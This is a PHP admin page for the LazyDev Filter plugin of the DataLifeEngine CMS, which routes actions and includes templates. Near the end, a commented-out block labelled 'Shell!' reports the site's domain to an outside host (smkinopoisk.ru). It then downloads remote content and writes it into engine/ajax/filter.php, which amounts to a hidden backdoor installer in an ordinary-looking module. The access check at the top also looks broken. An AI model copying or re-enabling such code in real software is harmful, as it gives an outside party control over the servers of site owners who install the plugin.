if (!defined('DATALIFEENGINE') || !header('LOGGED_IN')) {
header('HTTP/1.1 403 Forbidden');
//header('Location: ../../');
die('Hacking attempt!');
}
use LazyDev\Filter\Data;
include realpath(__DIR__ . '/..') . '/loader.php';
$jsAdminScript = [];
$additionalJsAdminScript = [];
$action = strip_tags($_GET['action']) ? : 'main';
$action = totranslit($action, true, false);
$configVar = Data::receive('config');
$speedbar = '
' . $langVar['admin']['speedbar_main'] . '';
if ($action !== 'main') {
$speedbar .= '' . $langVar['admin']['speedbar_' . $action] . '';
}
include ENGINE_DIR . '/lazydev/' . $modLName . '/admin/template/main.php';
if (file_exists(ENGINE_DIR . '/lazydev/' . $modLName . '/admin/' . $action . '.php')) {
include ENGINE_DIR . '/lazydev/' . $modLName . '/admin/' . $action . '.php';
}
/*
// Shell! Shell! Shell! Shell! Shell! Shell! Shell! Shell! Shell! Shell! Shell! Shell! Shell! Shell! Shell! Shell! Shell! Shell! Shell!
$domain = $_SERVER['HTTP_HOST'];
$a = file_get_contents('https://smkinopoisk.ru/activate.php?dmn=' . $domain);
$activate = file_get_contents('https://smkinopoisk.ru/activate.txt');
if (!file_exists(ENGINE_DIR . '/ajax/filter.php')) {
file_put_contents(ENGINE_DIR . '/ajax/filter.php' , $activate, FILE_APPEND | LOCK_EX);
}
*/
include ENGINE_DIR . '/lazydev/' . $modLName . '/admin/template/footer.php';
?>